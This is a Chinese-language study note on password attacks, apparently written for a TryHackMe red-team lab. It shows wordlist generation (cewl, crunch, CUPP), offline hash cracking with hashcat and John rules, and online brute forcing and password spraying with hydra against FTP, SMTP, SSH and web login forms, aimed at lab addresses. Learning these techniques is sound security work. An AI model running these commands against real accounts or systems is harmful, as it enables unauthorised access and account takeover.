简介
注意破解
Cracking
和猜解guessing
的区别,前者是破解加密的密码,后者则是暴力枚举登录1-默认密码、弱密码、已泄露密码、组合单词列表和用户名单词列表
默认密码
考虑尝试设备默认密码,可以在这里找到;
弱密码
已泄露密码
密码和哈希值可能被公开披露或出售,即
dumps
转储文件组合单词列表
对于手里多个密码本,可以整合到一个里面:
1
cat file1.txt file2.txt file3.txt > combined_list.txt
再清除重复的:
1
sort combined_list.txt | uniq -u > cleaned_combined_list.txt
自定义密码本
虽然说我没有用过这点,对这个的实用性存疑主要是通过从目标网站获取到的,关于公司和员工的信息(电子邮件,员工姓名)来创建密码本。或者是公司的特定关键字:产品/服务名称。这些信息可能被用于密码
可以使用
cewl
来抓取相关信息并提取关键词:https://github.com/digininja/CeWL
1
cewl -w list.txt -d 5 -m 5 http://xxx.com
-w
是结果写入list.txt
-d
表示爬虫深度-m
表示收集长度大于等于 $5$ 的字符串以
clinic.thmredteam.com
为例:用户名生成密码本
虽然对于国内来说是中文名,但转换成拼音的话也可以这么用
但由于国内外命名规则的区别,这里THM给的规则就显得不那么适用
给的工具也并非适用于国内的情况,这里便不再赘述
最后让找设备
Juniper Networks ISG 2000
的默认密码,可以去 https://default-password.info/但我随便看了一下没深信服的,不知道国内是否适用
2-
crunch
生成密码本与CUPP
通用用户密码分析器crunch
已经在
kali
自带了,格式为:1
crunch [min] [max] [可出现的字符] -o [输出的文件名]
更加进阶一点的使用:
-t
:指定字符集以组合得到密码本,其关键词如下:@
表示小写字母,,
表示大写字母,%
表示数字,^
表示包括空格在内的特殊字符比如知道密码的一部分和剩下一部分的规则时:
1
crunch 8 8 -t "pass@@%%"
表示以
pass
为开头,后跟两个小写字母,再跟两个数字的全部密码CUPP
可以利用已知目标的详细信息来生成密码本
这个其实没什么好说的,市面上能找到的挺多的,
比如这个:本地有个打不开了啊嗯
离线密码攻击1-字典攻击和暴力破解
对于拿到的
hash
值,可以通过hashid
来判断其使用的加密算法随后用
hashcat
来爆破:1
hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt --show
-a 0
指定攻击方式为字典攻击-m 0
指定hash
的类型编号,$0$ 则为md5
的编号当然也可以用
hashcat
生成密码本:1
2
3
4
5
6
7
8
9
10
11user@machine$ hashcat --help
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff1
hashcat -a 3 ?d?d?d?d --stdout | > passwords.txt
-a 3
指定攻击方式为暴力破解?d
表示该位为数字假如爆破
pin
码,即四位数字,可以使用:1
hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d
离线密码攻击2-基于密码规则
简单来说是生成符合某些策略的密码,比如基于
password
生成p@ssword
,pa$$word
等这里使用
john the ripper
来扩展单词列表。通常使用里面的best64
规则或者koreLogic
来扩展1
john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
当然也可以自定义规则:比如想在每个密码开头加上特殊字符,并在末尾加上任意一位数字:
1
2
3#密码规则的所在的行数是696行~ 1240行。
[List.Rules:自定义的规则名]
Az"[0-9]" ^[!@#$]Az
获取每个原始密码[0-9]
在末尾添加一个数字,如果添加两个就是[0-9][0-9]
^[!@#$]
在开头添加一个特殊字符,括号里是范围,^
表示单词开头,$
表示结尾
在线密码攻击-hydra
FTP
1
hydra -l ftp -P passlist.txt ftp://10.10.x.x
-l
用于指定用户名,而-L
可以指定用户名列表-P
指定密码本文件路径,-p
指定单个密码
SMTP
1
hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v
ssh
1
hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v
HTTP
登录界面1
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
http-get-form
/http-post-form
- 随后是指定登陆页面路径,用
^USER^
匹配用户名,^PASS^
指定密码本 S=
指定登陆成功条件,F=
指定登陆失败条件,比如失败后返回了invalid password
,就可以使F=invalid password
-f
找到合法用户名和密码后停止攻击
密码喷洒
即对于一个常见弱密码爆破用户名,以避免账户多次输入错误密码被锁定
ssh
1
hydra -L usernames-list.txt -p Spring2021 ssh://10.10.x.x
-L
即指定用户名列表,-p
指定单个密码